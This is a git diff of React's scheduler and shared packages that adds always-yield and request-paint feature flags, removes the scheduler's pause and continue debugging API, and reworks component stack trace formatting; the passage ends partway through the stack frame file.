diff --git a/packages/scheduler/src/__tests__/SchedulerSetImmediate-test.js b/packages/scheduler/src/__tests__/SchedulerSetImmediate-test.js
index 12257ee5076a..74bbb8d55fbb 100644
--- a/packages/scheduler/src/__tests__/SchedulerSetImmediate-test.js
+++ b/packages/scheduler/src/__tests__/SchedulerSetImmediate-test.js
@@ -8,8 +8,6 @@
  * @jest-environment node
  */
 
-/* eslint-disable no-for-of-loops/no-for-of-loops */
-
 'use strict';
 
 let Scheduler;
@@ -190,7 +188,13 @@ describe('SchedulerDOMSetImmediate', () => {
     });
     runtime.assertLog(['Set Immediate']);
     runtime.fireSetImmediate();
-    runtime.assertLog(['setImmediate Callback', 'A', 'B']);
+    if (gate(flags => flags.enableAlwaysYieldScheduler)) {
+      runtime.assertLog(['setImmediate Callback', 'A', 'Set Immediate']);
+      runtime.fireSetImmediate();
+      runtime.assertLog(['setImmediate Callback', 'B']);
+    } else {
+      runtime.assertLog(['setImmediate Callback', 'A', 'B']);
+    }
   });
 
   it('multiple tasks at different priority', () => {
@@ -202,7 +206,13 @@ describe('SchedulerDOMSetImmediate', () => {
     });
     runtime.assertLog(['Set Immediate']);
     runtime.fireSetImmediate();
-    runtime.assertLog(['setImmediate Callback', 'B', 'A']);
+    if (gate(flags => flags.enableAlwaysYieldScheduler)) {
+      runtime.assertLog(['setImmediate Callback', 'B', 'Set Immediate']);
+      runtime.fireSetImmediate();
+      runtime.assertLog(['setImmediate Callback', 'A']);
+    } else {
+      runtime.assertLog(['setImmediate Callback', 'B', 'A']);
+    }
   });
 
   it('multiple tasks with a yield in between', () => {
@@ -248,7 +258,13 @@ describe('SchedulerDOMSetImmediate', () => {
     runtime.assertLog(['setImmediate Callback', 'Oops!', 'Set Immediate']);
 
     runtime.fireSetImmediate();
-    runtime.assertLog(['setImmediate Callback', 'Yay']);
+    if (gate(flags => flags.enableAlwaysYieldScheduler)) {
+      runtime.assertLog(['setImmediate Callback', 'Set Immediate']);
+      runtime.fireSetImmediate();
+      runtime.assertLog(['setImmediate Callback', 'Yay']);
+    } else {
+      runtime.assertLog(['setImmediate Callback', 'Yay']);
+    }
   });
 
   it('schedule new task after queue has emptied', () => {
diff --git a/packages/scheduler/src/forks/Scheduler.js b/packages/scheduler/src/forks/Scheduler.js
index a785bec95320..88239b710676 100644
--- a/packages/scheduler/src/forks/Scheduler.js
+++ b/packages/scheduler/src/forks/Scheduler.js
@@ -12,12 +12,13 @@
 import type {PriorityLevel} from '../SchedulerPriorities';
 
 import {
-  enableSchedulerDebugging,
   enableProfiling,
   frameYieldMs,
   userBlockingPriorityTimeout,
   lowPriorityTimeout,
   normalPriorityTimeout,
+  enableRequestPaint,
+  enableAlwaysYieldScheduler,
 } from '../SchedulerFeatureFlags';
 
 import {push, pop, peek} from '../SchedulerMinHeap';
@@ -81,11 +82,8 @@ var timerQueue: Array<Task> = [];
 // Incrementing id counter. Used to maintain insertion order.
 var taskIdCounter = 1;
 
-// Pausing the scheduler is useful for debugging.
-var isSchedulerPaused = false;
-
 var currentTask = null;
-var currentPriorityLevel = NormalPriority;
+var currentPriorityLevel: PriorityLevel = NormalPriority;
 
 // This is set while performing work, to prevent re-entrance.
 var isPerformingWork = false;
@@ -93,6 +91,8 @@ var isPerformingWork = false;
 var isHostCallbackScheduled = false;
 var isHostTimeoutScheduled = false;
 
+var needsPaint = false;
+
 // Capture local references to native APIs, in case a polyfill overrides them.
 const localSetTimeout = typeof setTimeout === 'function' ? setTimeout : null;
 const localClearTimeout =
@@ -189,13 +189,12 @@ function workLoop(initialTime: number) {
   let currentTime = initialTime;
   advanceTimers(currentTime);
   currentTask = peek(taskQueue);
-  while (
-    currentTask !== null &&
-    !(enableSchedulerDebugging && isSchedulerPaused)
-  ) {
-    if (currentTask.expirationTime > currentTime && shouldYieldToHost()) {
-      // This currentTask hasn't expired, and we've reached the deadline.
-      break;
+  while (currentTask !== null) {
+    if (!enableAlwaysYieldScheduler) {
+      if (currentTask.expirationTime > currentTime && shouldYieldToHost()) {
+        // This currentTask hasn't expired, and we've reached the deadline.
+        break;
+      }
     }
     // $FlowFixMe[incompatible-use] found when upgrading Flow
     const callback = currentTask.callback;
@@ -239,6 +238,12 @@ function workLoop(initialTime: number) {
       pop(taskQueue);
     }
     currentTask = peek(taskQueue);
+    if (enableAlwaysYieldScheduler) {
+      if (currentTask === null || currentTask.expirationTime > currentTime) {
+        // This currentTask hasn't expired we yield to the browser task.
+        break;
+      }
+    }
   }
   // Return whether there's additional work
   if (currentTask !== null) {
@@ -278,7 +283,7 @@ function unstable_runWithPriority<T>(
 }
 
 function unstable_next<T>(eventHandler: () => T): T {
-  var priorityLevel;
+  var priorityLevel: PriorityLevel;
   switch (currentPriorityLevel) {
     case ImmediatePriority:
     case UserBlockingPriority:
@@ -410,22 +415,6 @@ function unstable_scheduleCallback(
   return newTask;
 }
 
-function unstable_pauseExecution() {
-  isSchedulerPaused = true;
-}
-
-function unstable_continueExecution() {
-  isSchedulerPaused = false;
-  if (!isHostCallbackScheduled && !isPerformingWork) {
-    isHostCallbackScheduled = true;
-    requestHostCallback();
-  }
-}
-
-function unstable_getFirstCallbackNode(): Task | null {
-  return peek(taskQueue);
-}
-
 function unstable_cancelCallback(task: Task) {
   if (enableProfiling) {
     if (task.isQueued) {
@@ -452,10 +441,14 @@ let taskTimeoutID: TimeoutID = (-1: any);
 // thread, like user events. By default, it yields multiple times per frame.
 // It does not attempt to align with frame boundaries, since most tasks don't
 // need to be frame aligned; for those that do, use requestAnimationFrame.
-let frameInterval = frameYieldMs;
+let frameInterval: number = frameYieldMs;
 let startTime = -1;
 
 function shouldYieldToHost(): boolean {
+  if (!enableAlwaysYieldScheduler && enableRequestPaint && needsPaint) {
+    // Yield now.
+    return true;
+  }
   const timeElapsed = getCurrentTime() - startTime;
   if (timeElapsed < frameInterval) {
     // The main thread has only been blocked for a really short amount of time;
@@ -466,7 +459,11 @@ function shouldYieldToHost(): boolean {
   return true;
 }
 
-function requestPaint() {}
+function requestPaint() {
+  if (enableRequestPaint) {
+    needsPaint = true;
+  }
+}
 
 function forceFrameRate(fps: number) {
   if (fps < 0 || fps > 125) {
@@ -486,6 +483,9 @@ function forceFrameRate(fps: number) {
 }
 
 const performWorkUntilDeadline = () => {
+  if (enableRequestPaint) {
+    needsPaint = false;
+  }
   if (isMessageLoopRunning) {
     const currentTime = getCurrentTime();
     // Keep track of the start time so we can measure how long the main thread
@@ -583,9 +583,6 @@ export {
   unstable_getCurrentPriorityLevel,
   shouldYieldToHost as unstable_shouldYield,
   requestPaint as unstable_requestPaint,
-  unstable_continueExecution,
-  unstable_pauseExecution,
-  unstable_getFirstCallbackNode,
   getCurrentTime as unstable_now,
   forceFrameRate as unstable_forceFrameRate,
 };
diff --git a/packages/scheduler/src/forks/SchedulerFeatureFlags.native-fb.js b/packages/scheduler/src/forks/SchedulerFeatureFlags.native-fb.js
new file mode 100644
index 000000000000..d9d3dc733860
--- /dev/null
+++ b/packages/scheduler/src/forks/SchedulerFeatureFlags.native-fb.js
@@ -0,0 +1,18 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+export const enableProfiling = __DEV__;
+export const frameYieldMs = 5;
+
+export const userBlockingPriorityTimeout = 250;
+export const normalPriorityTimeout = 5000;
+export const lowPriorityTimeout = 10000;
+export const enableRequestPaint = true;
+
+export const enableAlwaysYieldScheduler = false;
diff --git a/packages/scheduler/src/forks/SchedulerFeatureFlags.www-dynamic.js b/packages/scheduler/src/forks/SchedulerFeatureFlags.www-dynamic.js
index 25d88aa4b903..e20a8e7a3a5d 100644
--- a/packages/scheduler/src/forks/SchedulerFeatureFlags.www-dynamic.js
+++ b/packages/scheduler/src/forks/SchedulerFeatureFlags.www-dynamic.js
@@ -11,8 +11,4 @@
 // Use __VARIANT__ to simulate a GK. The tests will be run twice: once
 // with the __VARIANT__ set to `true`, and once set to `false`.
 
-export const enableProfiling = __VARIANT__;
-
-export const userBlockingPriorityTimeout = 250;
-export const normalPriorityTimeout = 5000;
-export const lowPriorityTimeout = 10000;
+export const enableRequestPaint = __VARIANT__;
diff --git a/packages/scheduler/src/forks/SchedulerFeatureFlags.www.js b/packages/scheduler/src/forks/SchedulerFeatureFlags.www.js
index 93d1b25b99c5..2873dee09978 100644
--- a/packages/scheduler/src/forks/SchedulerFeatureFlags.www.js
+++ b/packages/scheduler/src/forks/SchedulerFeatureFlags.www.js
@@ -10,15 +10,13 @@
 // $FlowFixMe[cannot-resolve-module]
 const dynamicFeatureFlags = require('SchedulerFeatureFlags');
 
-const {enableProfiling: enableProfilingFeatureFlag} = dynamicFeatureFlags;
-
-export const {
-  userBlockingPriorityTimeout,
-  normalPriorityTimeout,
-  lowPriorityTimeout,
-} = dynamicFeatureFlags;
+export const {enableRequestPaint} = dynamicFeatureFlags;
 
+export const enableProfiling = __DEV__;
 export const frameYieldMs = 10;
-export const enableSchedulerDebugging = true;
-export const enableProfiling: boolean =
-  __PROFILE__ && enableProfilingFeatureFlag;
+
+export const userBlockingPriorityTimeout = 250;
+export const normalPriorityTimeout = 5000;
+export const lowPriorityTimeout = 10000;
+
+export const enableAlwaysYieldScheduler = false;
diff --git a/packages/scheduler/src/forks/SchedulerMock.js b/packages/scheduler/src/forks/SchedulerMock.js
index 7f148c45be3e..cf76126410e6 100644
--- a/packages/scheduler/src/forks/SchedulerMock.js
+++ b/packages/scheduler/src/forks/SchedulerMock.js
@@ -12,10 +12,7 @@
 
 import type {PriorityLevel} from '../SchedulerPriorities';
 
-import {
-  enableSchedulerDebugging,
-  enableProfiling,
-} from '../SchedulerFeatureFlags';
+import {enableProfiling} from '../SchedulerFeatureFlags';
 import {push, pop, peek} from '../SchedulerMinHeap';
 
 // TODO: Use symbols?
@@ -72,11 +69,8 @@ var timerQueue: Array<Task> = [];
 // Incrementing id counter. Used to maintain insertion order.
 var taskIdCounter = 1;
 
-// Pausing the scheduler is useful for debugging.
-var isSchedulerPaused = false;
-
 var currentTask = null;
-var currentPriorityLevel = NormalPriority;
+var currentPriorityLevel: PriorityLevel = NormalPriority;
 
 // This is set while performing work, to prevent re-entrance.
 var isPerformingWork = false;
@@ -195,10 +189,7 @@ function workLoop(hasTimeRemaining: boolean, initialTime: number): boolean {
   let currentTime = initialTime;
   advanceTimers(currentTime);
   currentTask = peek(taskQueue);
-  while (
-    currentTask !== null &&
-    !(enableSchedulerDebugging && isSchedulerPaused)
-  ) {
+  while (currentTask !== null) {
     if (
       currentTask.expirationTime > currentTime &&
       (!hasTimeRemaining || shouldYieldToHost())
@@ -295,7 +286,7 @@ function unstable_runWithPriority<T>(
 }
 
 function unstable_next<T>(eventHandler: () => T): T {
-  var priorityLevel;
+  var priorityLevel: PriorityLevel;
   switch (currentPriorityLevel) {
     case ImmediatePriority:
     case UserBlockingPriority:
@@ -422,22 +413,6 @@ function unstable_scheduleCallback(
   return newTask;
 }
 
-function unstable_pauseExecution() {
-  isSchedulerPaused = true;
-}
-
-function unstable_continueExecution() {
-  isSchedulerPaused = false;
-  if (!isHostCallbackScheduled && !isPerformingWork) {
-    isHostCallbackScheduled = true;
-    requestHostCallback(flushWork);
-  }
-}
-
-function unstable_getFirstCallbackNode(): Task | null {
-  return peek(taskQueue);
-}
-
 function unstable_cancelCallback(task: Task) {
   if (enableProfiling) {
     if (task.isQueued) {
@@ -679,9 +654,6 @@ export {
   unstable_getCurrentPriorityLevel,
   shouldYieldToHost as unstable_shouldYield,
   requestPaint as unstable_requestPaint,
-  unstable_continueExecution,
-  unstable_pauseExecution,
-  unstable_getFirstCallbackNode,
   getCurrentTime as unstable_now,
   forceFrameRate as unstable_forceFrameRate,
   unstable_flushAllWithoutAsserting,
diff --git a/packages/scheduler/src/forks/SchedulerNative.js b/packages/scheduler/src/forks/SchedulerNative.js
index 3832cbc69753..1acee1f5f499 100644
--- a/packages/scheduler/src/forks/SchedulerNative.js
+++ b/packages/scheduler/src/forks/SchedulerNative.js
@@ -10,17 +10,18 @@
 import * as Scheduler from './Scheduler';
 import type {Callback, Task} from './Scheduler';
 import type {PriorityLevel} from '../SchedulerPriorities';
+import typeof * as PriorityLevels from '../SchedulerPriorities';
 import typeof * as SchedulerExportsType from './Scheduler';
 import typeof * as SchedulerNativeExportsType from './SchedulerNative';
 
 // This type is supposed to reflect the actual methods and arguments currently supported by the C++ implementation:
 // https://github.com/facebook/react-native/blob/main/packages/react-native/ReactCommon/react/renderer/runtimescheduler/RuntimeSchedulerBinding.cpp
 type NativeSchedulerType = {
-  unstable_ImmediatePriority: PriorityLevel,
-  unstable_UserBlockingPriority: PriorityLevel,
-  unstable_NormalPriority: PriorityLevel,
-  unstable_IdlePriority: PriorityLevel,
-  unstable_LowPriority: PriorityLevel,
+  unstable_ImmediatePriority: PriorityLevels['ImmediatePriority'],
+  unstable_UserBlockingPriority: PriorityLevels['UserBlockingPriority'],
+  unstable_NormalPriority: PriorityLevels['NormalPriority'],
+  unstable_IdlePriority: PriorityLevels['IdlePriority'],
+  unstable_LowPriority: PriorityLevels['LowPriority'],
   unstable_scheduleCallback: (
     priorityLevel: PriorityLevel,
     callback: Callback,
@@ -34,27 +35,27 @@ type NativeSchedulerType = {
 
 declare const nativeRuntimeScheduler: void | NativeSchedulerType;
 
-export const unstable_UserBlockingPriority: PriorityLevel =
+export const unstable_UserBlockingPriority: PriorityLevels['UserBlockingPriority'] =
   typeof nativeRuntimeScheduler !== 'undefined'
     ? nativeRuntimeScheduler.unstable_UserBlockingPriority
     : Scheduler.unstable_UserBlockingPriority;
 
-export const unstable_NormalPriority: PriorityLevel =
+export const unstable_NormalPriority: PriorityLevels['NormalPriority'] =
   typeof nativeRuntimeScheduler !== 'undefined'
     ? nativeRuntimeScheduler.unstable_NormalPriority
     : Scheduler.unstable_NormalPriority;
 
-export const unstable_IdlePriority: PriorityLevel =
+export const unstable_IdlePriority: PriorityLevels['IdlePriority'] =
   typeof nativeRuntimeScheduler !== 'undefined'
     ? nativeRuntimeScheduler.unstable_IdlePriority
     : Scheduler.unstable_IdlePriority;
 
-export const unstable_LowPriority: PriorityLevel =
+export const unstable_LowPriority: PriorityLevels['LowPriority'] =
   typeof nativeRuntimeScheduler !== 'undefined'
     ? nativeRuntimeScheduler.unstable_LowPriority
     : Scheduler.unstable_LowPriority;
 
-export const unstable_ImmediatePriority: PriorityLevel =
+export const unstable_ImmediatePriority: PriorityLevels['ImmediatePriority'] =
   typeof nativeRuntimeScheduler !== 'undefined'
     ? nativeRuntimeScheduler.unstable_ImmediatePriority
     : Scheduler.unstable_ImmediatePriority;
@@ -97,9 +98,6 @@ export const unstable_now: () => number | DOMHighResTimeStamp =
 export const unstable_next: any = throwNotImplemented;
 export const unstable_runWithPriority: any = throwNotImplemented;
 export const unstable_wrapCallback: any = throwNotImplemented;
-export const unstable_continueExecution: any = throwNotImplemented;
-export const unstable_pauseExecution: any = throwNotImplemented;
-export const unstable_getFirstCallbackNode: any = throwNotImplemented;
 export const unstable_forceFrameRate: any = throwNotImplemented;
 export const unstable_Profiling: any = null;
 
diff --git a/packages/scheduler/src/forks/SchedulerPostTask.js b/packages/scheduler/src/forks/SchedulerPostTask.js
index a029fce0cbfc..700ff2e5d2c5 100644
--- a/packages/scheduler/src/forks/SchedulerPostTask.js
+++ b/packages/scheduler/src/forks/SchedulerPostTask.js
@@ -55,7 +55,7 @@ export const unstable_now = getCurrentTime;
 const yieldInterval = 5;
 let deadline = 0;
 
-let currentPriorityLevel_DEPRECATED = NormalPriority;
+let currentPriorityLevel_DEPRECATED: PriorityLevel = NormalPriority;
 
 // Always yield at the end of the frame.
 export function unstable_shouldYield(): boolean {
@@ -76,7 +76,7 @@ export function unstable_scheduleCallback<T>(
   callback: SchedulerCallback<T>,
   options?: {delay?: number},
 ): CallbackNode {
-  let postTaskPriority;
+  let postTaskPriority: PostTaskPriorityLevel;
   switch (priorityLevel) {
     case ImmediatePriority:
     case UserBlockingPriority:
@@ -196,7 +196,7 @@ export function unstable_getCurrentPriorityLevel(): PriorityLevel {
 }
 
 export function unstable_next<T>(callback: () => T): T {
-  let priorityLevel;
+  let priorityLevel: PriorityLevel;
   switch (currentPriorityLevel_DEPRECATED) {
     case ImmediatePriority:
     case UserBlockingPriority:
@@ -234,13 +234,5 @@ export function unstable_wrapCallback<T>(callback: () => T): () => T {
 
 export function unstable_forceFrameRate() {}
 
-export function unstable_pauseExecution() {}
-
-export function unstable_continueExecution() {}
-
-export function unstable_getFirstCallbackNode(): null {
-  return null;
-}
-
 // Currently no profiling build
 export const unstable_Profiling = null;
diff --git a/packages/shared/ConsolePatchingDev.js b/packages/shared/ConsolePatchingDev.js
index 9af70b37adb2..fe08bb7129fb 100644
--- a/packages/shared/ConsolePatchingDev.js
+++ b/packages/shared/ConsolePatchingDev.js
@@ -52,7 +52,6 @@ export function disableLogs(): void {
         groupCollapsed: props,
         groupEnd: props,
       });
-      /* eslint-enable react-internal/no-production-logging */
     }
     disabledDepth++;
   }
@@ -62,7 +61,6 @@ export function reenableLogs(): void {
   if (__DEV__) {
     disabledDepth--;
     if (disabledDepth === 0) {
-      /* eslint-disable react-internal/no-production-logging */
       const props = {
         configurable: true,
         enumerable: true,
@@ -78,7 +76,6 @@ export function reenableLogs(): void {
         groupCollapsed: {...props, value: prevGroupCollapsed},
         groupEnd: {...props, value: prevGroupEnd},
       });
-      /* eslint-enable react-internal/no-production-logging */
     }
     if (disabledDepth < 0) {
       console.error(
diff --git a/packages/shared/DefaultPrepareStackTrace.js b/packages/shared/DefaultPrepareStackTrace.js
new file mode 100644
index 000000000000..5e0e3dc0da9d
--- /dev/null
+++ b/packages/shared/DefaultPrepareStackTrace.js
@@ -0,0 +1,12 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+// This is forked in server builds where the default stack frame may be source mapped.
+
+export default ((undefined: any): (Error, CallSite[]) => string);
diff --git a/packages/shared/DefaultPrepareStackTraceV8.js b/packages/shared/DefaultPrepareStackTraceV8.js
new file mode 100644
index 000000000000..200c64b69d68
--- /dev/null
+++ b/packages/shared/DefaultPrepareStackTraceV8.js
@@ -0,0 +1,25 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+// This file replaces DefaultPrepareStackTrace in Edge/Node Server builds.
+
+function prepareStackTrace(
+  error: Error,
+  structuredStackTrace: CallSite[],
+): string {
+  const name = error.name || 'Error';
+  const message = error.message || '';
+  let stack = name + ': ' + message;
+  for (let i = 0; i < structuredStackTrace.length; i++) {
+    stack += '\n    at ' + structuredStackTrace[i].toString();
+  }
+  return stack;
+}
+
+export default prepareStackTrace;
diff --git a/packages/shared/ReactComponentInfoStack.js b/packages/shared/ReactComponentInfoStack.js
new file mode 100644
index 000000000000..efc3f6b39de3
--- /dev/null
+++ b/packages/shared/ReactComponentInfoStack.js
@@ -0,0 +1,53 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {ReactComponentInfo} from 'shared/ReactTypes';
+
+import {describeBuiltInComponentFrame} from 'shared/ReactComponentStackFrame';
+
+import {formatOwnerStack} from 'shared/ReactOwnerStackFrames';
+
+export function getOwnerStackByComponentInfoInDev(
+  componentInfo: ReactComponentInfo,
+): string {
+  if (!__DEV__) {
+    return '';
+  }
+  try {
+    let info = '';
+
+    // The owner stack of the current component will be where it was created, i.e. inside its owner.
+    // There's no actual name of the currently executing component. Instead, that is available
+    // on the regular stack that's currently executing. However, if there is no owner at all, then
+    // there's no stack frame so we add the name of the root component to the stack to know which
+    // component is currently executing.
+    if (!componentInfo.owner && typeof componentInfo.name === 'string') {
+      return describeBuiltInComponentFrame(componentInfo.name);
+    }
+
+    let owner: void | null | ReactComponentInfo = componentInfo;
+
+    while (owner) {
+      const ownerStack: ?Error = owner.debugStack;
+      if (ownerStack != null) {
+        // Server Component
+        owner = owner.owner;
+        if (owner) {
+          // TODO: Should we stash this somewhere for caching purposes?
+          info += '\n' + formatOwnerStack(ownerStack);
+        }
+      } else {
+        break;
+      }
+    }
+    return info;
+  } catch (x) {
+    return '\nError generating stack: ' + x.message + '\n' + x.stack;
+  }
+}
diff --git a/packages/shared/ReactComponentStackFrame.js b/packages/shared/ReactComponentStackFrame.js
index 34c9487a3069..1951ab07c7d1 100644
--- a/packages/shared/ReactComponentStackFrame.js
+++ b/packages/shared/ReactComponentStackFrame.js
@@ -7,43 +7,58 @@
  * @flow
  */
 
-import type {LazyComponent} from 'react/src/ReactLazy';
-
-import {enableComponentStackLocations} from 'shared/ReactFeatureFlags';
-
-import {
-  REACT_SUSPENSE_TYPE,
-  REACT_SUSPENSE_LIST_TYPE,
-  REACT_FORWARD_REF_TYPE,
-  REACT_MEMO_TYPE,
-  REACT_LAZY_TYPE,
-} from 'shared/ReactSymbols';
-
 import {disableLogs, reenableLogs} from 'shared/ConsolePatchingDev';
 
 import ReactSharedInternals from 'shared/ReactSharedInternals';
 
+import DefaultPrepareStackTrace from 'shared/DefaultPrepareStackTrace';
+
+import {formatOwnerStack} from './ReactOwnerStackFrames';
+
 let prefix;
+let suffix;
 export function describeBuiltInComponentFrame(name: string): string {
-  if (enableComponentStackLocations) {
-    if (prefix === undefined) {
-      // Extract the VM specific prefix used by each line.
-      try {
-        throw Error();
-      } catch (x) {
-        const match = x.stack.trim().match(/\n( *(at )?)/);
-        prefix = (match && match[1]) || '';
-      }
+  if (prefix === undefined) {
+    // Extract the VM specific prefix used by each line.
+    try {
+      throw Error();
+    } catch (x) {
+      const match = x.stack.trim().match(/\n( *(at )?)/);
+      prefix = (match && match[1]) || '';
+      suffix =
+        x.stack.indexOf('\n    at') > -1
+          ? // V8
+            ' (<anonymous>)'
+          : // JSC/Spidermonkey
+            x.stack.indexOf('@') > -1
+            ? '@unknown:0:0'
+            : // Other
+              '';
     }
-    // We use the prefix to ensure our stacks line up with native stack frames.
-    return '\n' + prefix + name;
-  } else {
-    return describeComponentFrame(name);
   }
+  // We use the prefix to ensure our stacks line up with native stack frames.
+  return '\n' + prefix + name + suffix;
 }
 
-export function describeDebugInfoFrame(name: string, env: ?string): string {
-  return describeBuiltInComponentFrame(name + (env ? ' (' + env + ')' : ''));
+export function describeDebugInfoFrame(
+  name: string,
+  env: ?string,
+  location: ?Error,
+): string {
+  if (location != null) {
+    // If we have a location, it's the child's owner stack. Treat the bottom most frame as
+    // the location of this function.
+    const childStack = formatOwnerStack(location);
+    const idx = childStack.lastIndexOf('\n');
+    const lastLine = idx === -1 ? childStack : childStack.slice(idx + 1);
+    if (lastLine.indexOf(name) !== -1) {
+      // For async stacks it's possible we don't have the owner on it. As a precaution only
+      // use this frame if it has the name of the function in it.
+      return '\n' + lastLine;
+    }
+  }
+
+  return describeBuiltInComponentFrame(name + (env ? ' [' + env + ']' : ''));
 }
 
 let reentry = false;
@@ -82,8 +97,7 @@ export function describeNativeComponentFrame(
 
   reentry = true;
   const previousPrepareStackTrace = Error.prepareStackTrace;
-  // $FlowFixMe[incompatible-type] It does accept undefined.
-  Error.prepareStackTrace = undefined;
+  Error.prepareStackTrace = DefaultPrepareStackTrace;
   let previousDispatcher = null;
 
   if (__DEV__) {
@@ -93,103 +107,102 @@ export function describeNativeComponentFrame(
     ReactSharedInternals.H = null;
     disableLogs();
   }
-
-  /**
-   * Finding a common stack frame between sample and control errors can be
-   * tricky given the different types and levels of stack trace truncation from
-   * different JS VMs. So instead we'll attempt to control what that common
-   * frame should be through this object method:
-   * Having both the sample and control errors be in the function under the
-   * `DescribeNativeComponentFrameRoot` property, + setting the `name` and
-   * `displayName` properties of the function ensures that a stack
-   * frame exists that has the method name `DescribeNativeComponentFrameRoot` in
-   * it for both control and sample stacks.
-   */
-  const RunInRootFrame = {
-    DetermineComponentFrameRoot(): [?string, ?string] {
-      let control;
-      try {
-        // This should throw.
-        if (construct) {
-          // Something should be setting the props in the constructor.
-          const Fake = function () {
-            throw Error();
-          };
-          // $FlowFixMe[prop-missing]
-          Object.defineProperty(Fake.prototype, 'props', {
-            set: function () {
-              // We use a throwing setter instead of frozen or non-writable props
-              // because that won't throw in a non-strict mode function.
+  try {
+    /**
+     * Finding a common stack frame between sample and control errors can be
+     * tricky given the different types and levels of stack trace truncation from
+     * different JS VMs. So instead we'll attempt to control what that common
+     * frame should be through this object method:
+     * Having both the sample and control errors be in the function under the
+     * `DescribeNativeComponentFrameRoot` property, + setting the `name` and
+     * `displayName` properties of the function ensures that a stack
+     * frame exists that has the method name `DescribeNativeComponentFrameRoot` in
+     * it for both control and sample stacks.
+     */
+    const RunInRootFrame = {
+      DetermineComponentFrameRoot(): [?string, ?string] {
+        let control;
+        try {
+          // This should throw.
+          if (construct) {
+            // Something should be setting the props in the constructor.
+            const Fake = function () {
               throw Error();
-            },
-          });
-          if (typeof Reflect === 'object' && Reflect.construct) {
-            // We construct a different control for this case to include any extra
-            // frames added by the construct call.
-            try {
-              Reflect.construct(Fake, []);
-            } catch (x) {
-              control = x;
+            };
+            // $FlowFixMe[prop-missing]
+            Object.defineProperty(Fake.prototype, 'props', {
+              set: function () {
+                // We use a throwing setter instead of frozen or non-writable props
+                // because that won't throw in a non-strict mode function.
+                throw Error();
+              },
+            });
+            if (typeof Reflect === 'object' && Reflect.construct) {
+              // We construct a different control for this case to include any extra
+              // frames added by the construct call.
+              try {
+                Reflect.construct(Fake, []);
+              } catch (x) {
+                control = x;
+              }
+              Reflect.construct(fn, [], Fake);
+            } else {
+              try {
+                Fake.call();
+              } catch (x) {
+                control = x;
+              }
+              // $FlowFixMe[prop-missing] found when upgrading Flow
+              fn.call(Fake.prototype);
             }
-            Reflect.construct(fn, [], Fake);
           } else {
             try {
-              Fake.call();
+              throw Error();
             } catch (x) {
               control = x;
             }
-            // $FlowFixMe[prop-missing] found when upgrading Flow
-            fn.call(Fake.prototype);
-          }
-        } else {
-          try {
-            throw Error();
-          } catch (x) {
-            control = x;
-          }
-          // TODO(luna): This will currently only throw if the function component
-          // tries to access React/ReactDOM/props. We should probably make this throw
-          // in simple components too
-          const maybePromise = fn();
+            // TODO(luna): This will currently only throw if the function component
+            // tries to access React/ReactDOM/props. We should probably make this throw
+            // in simple components too
+            const maybePromise = fn();
 
-          // If the function component returns a promise, it's likely an async
-          // component, which we don't yet support. Attach a noop catch handler to
-          // silence the error.
-          // TODO: Implement component stacks for async client components?
-          if (maybePromise && typeof maybePromise.catch === 'function') {
-            maybePromise.catch(() => {});
+            // If the function component returns a promise, it's likely an async
+            // component, which we don't yet support. Attach a noop catch handler to
+            // silence the error.
+            // TODO: Implement component stacks for async client components?
+            if (maybePromise && typeof maybePromise.catch === 'function') {
+              maybePromise.catch(() => {});
+            }
+          }
+        } catch (sample) {
+          // This is inlined manually because closure doesn't do it for us.
+          if (sample && control && typeof sample.stack === 'string') {
+            return [sample.stack, control.stack];
           }
         }
-      } catch (sample) {
-        // This is inlined manually because closure doesn't do it for us.
-        if (sample && control && typeof sample.stack === 'string') {
-          return [sample.stack, control.stack];
-        }
-      }
-      return [null, null];
-    },
-  };
-  // $FlowFixMe[prop-missing]
-  RunInRootFrame.DetermineComponentFrameRoot.displayName =
-    'DetermineComponentFrameRoot';
-  const namePropDescriptor = Object.getOwnPropertyDescriptor(
-    RunInRootFrame.DetermineComponentFrameRoot,
-    'name',
-  );
-  // Before ES6, the `name` property was not configurable.
-  if (namePropDescriptor && namePropDescriptor.configurable) {
-    // V8 utilizes a function's `name` property when generating a stack trace.
-    Object.defineProperty(
+        return [null, null];
+      },
+    };
+    // $FlowFixMe[prop-missing]
+    RunInRootFrame.DetermineComponentFrameRoot.displayName =
+      'DetermineComponentFrameRoot';
+    const namePropDescriptor = Object.getOwnPropertyDescriptor(
       RunInRootFrame.DetermineComponentFrameRoot,
-      // Configurable properties can be updated even if its writable descriptor
-      // is set to `false`.
-      // $FlowFixMe[cannot-write]
       'name',
-      {value: 'DetermineComponentFrameRoot'},
     );
-  }
+    // Before ES6, the `name` property was not configurable.
+    if (namePropDescriptor && namePropDescriptor.configurable) {
+      // V8 utilizes a function's `name` property when generating a stack trace.
+      Object.defineProperty(
+        RunInRootFrame.DetermineComponentFrameRoot,
+        // Configurable properties can be updated even if its writable descriptor
+        // is set to `false`.
+        // $FlowFixMe[cannot-write]
+        'name',
+        {value: 'DetermineComponentFrameRoot'},
+      );
+    }
 
-  try {
     const [sampleStack, controlStack] =
       RunInRootFrame.DetermineComponentFrameRoot();
     if (sampleStack && controlStack) {
@@ -286,76 +299,10 @@ export function describeNativeComponentFrame(
   return syntheticFrame;
 }
 
-function describeComponentFrame(name: null | string) {
-  return '\n    in ' + (name || 'Unknown');
-}
-
 export function describeClassComponentFrame(ctor: Function): string {
-  if (enableComponentStackLocations) {
-    return describeNativeComponentFrame(ctor, true);
-  } else {
-    return describeFunctionComponentFrame(ctor);
-  }
+  return describeNativeComponentFrame(ctor, true);
 }
 
 export function describeFunctionComponentFrame(fn: Function): string {
-  if (enableComponentStackLocations) {
-    return describeNativeComponentFrame(fn, false);
-  } else {
-    if (!fn) {
-      return '';
-    }
-    const name = fn.displayName || fn.name || null;
-    return describeComponentFrame(name);
-  }
-}
-
-function shouldConstruct(Component: Function) {
-  const prototype = Component.prototype;
-  return !!(prototype && prototype.isReactComponent);
-}
-
